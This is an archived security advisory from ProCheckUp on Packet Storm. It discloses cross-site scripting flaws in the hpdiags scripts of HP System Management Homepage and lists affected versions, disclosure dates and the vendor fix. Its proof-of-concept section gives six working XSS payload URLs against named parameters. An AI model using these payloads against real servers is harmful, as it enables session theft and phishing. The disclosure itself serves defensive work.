what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP System Management Homepage Cross Site Scripting

HP System Management Homepage Cross Site Scripting
Posted Dec 8, 2010
Authored by ProCheckUp | Site procheckup.com

The HP System Management Homepage suffers from multiple cross site scripting vulnerabilities. Versions 3.0.0.68, 3.0.2.77 and 6.1.0.103 have all been found affected.

tags | exploit, vulnerability, xss
SHA-256 | 53a9041c70d9e51c0569b7768b8ae8e00a154b6d73b60ce6004bc7053e66c59d

HP System Management Homepage Cross Site Scripting

Change Mirror Download
PR10-05: XSS injection vulnerability within HP System Management Homepage (Formally Insight Manager)
Vulnerability found: 8th February 2010
Vendor informed: 9th February 2010
Vulnerability fixed: 6th August 2010
Severity: Medium

Description:
An XSS vulnerability has been found within HP system management for HP servers; this arises from insufficient input filtering found within the hpdiags suite of programs. The hpdiags suite of programs was found to be present within Linux versions of HP system management.
By using a specially-crafted link, and tricking the victim into clicking on it, an attacker can perform malicious attacks such as the following:
- Hijack user accounts by stealing the victim's cookies that are assigned to the victim's browser by the vulnerable website
- Hijack user accounts by injecting a "fake" html form on the html rendered by the victim's web browser
- Redirect the victim to a malicious third-party website which would perform a phishing attack to steal the user credentials or exploit an vulnerability (i.e.: buffer overflow) on the victim's web browser in order to compromise the victim's workstation
Notes:
Authentication is normally needed, unless system has been configured to support anonymous automatic login.
Successfully tested on:
System Management Homepage
Version v3.0.0.68
Version v3.0.2.77
Version v6.1.0.103
Tested on Centos/Red Hat enterprise operating system, running on HP Proliant DL380 G5 and DL360 G5 servers
Proof of concept(s):
The following works with Internet Explorer only
https:///target-domain.foo:2381/hpdiags/parameters.php?device="</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
https://target-domain.foo:2381/hpdiags/idstatusframe.php?pid="%20</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68, 6.0.0.95 linux, 6.1.0.103 linux
Same program as above thoguh with another variable
https://target-domain.foo:2381/hpdiags/idstatusframe.php?cfg="%20</XSS STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68 linux, 6.0.0.95 linux, 6.1.0.103 linux
https://target-domain.foo:2381/hpdiags/survey.php?category=");//}</XSS/*-*/STYLE=xss:e/**/xpression(location='http://www.procheckup.com')>&device=1&filename=Procheckup&mount=1&save=1&surveyLevel=1&target=1
Versions:- 3.0.0.68 linux
https://target-domain.foo:2381/hpdiags/globals.php?tabpage=";alert(1)//
Versions:- 3.0.0.68 linux
https://target-domain.foo:2381/hpdiags/custom.php?testMode=blah';</XSS%20STYLE=xss:expression(location='http://www.procheckup.com')>
Versions:- 3.0.0.68 linux

Consequences:
Attackers can force the victim's web browser to perform XSS/HTML injection in the security context of the vulnerable site in order to gather data from users who visit a page within the target site.
Fix:
HP have now issued a fix, download the appropriate update for your operating system ensuring the system management agent is at least version x or above.
See HP URL: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02492472
Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com<http://www.procheckup.com>)

Legal:
Copyright 2010 ProCheckUp Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close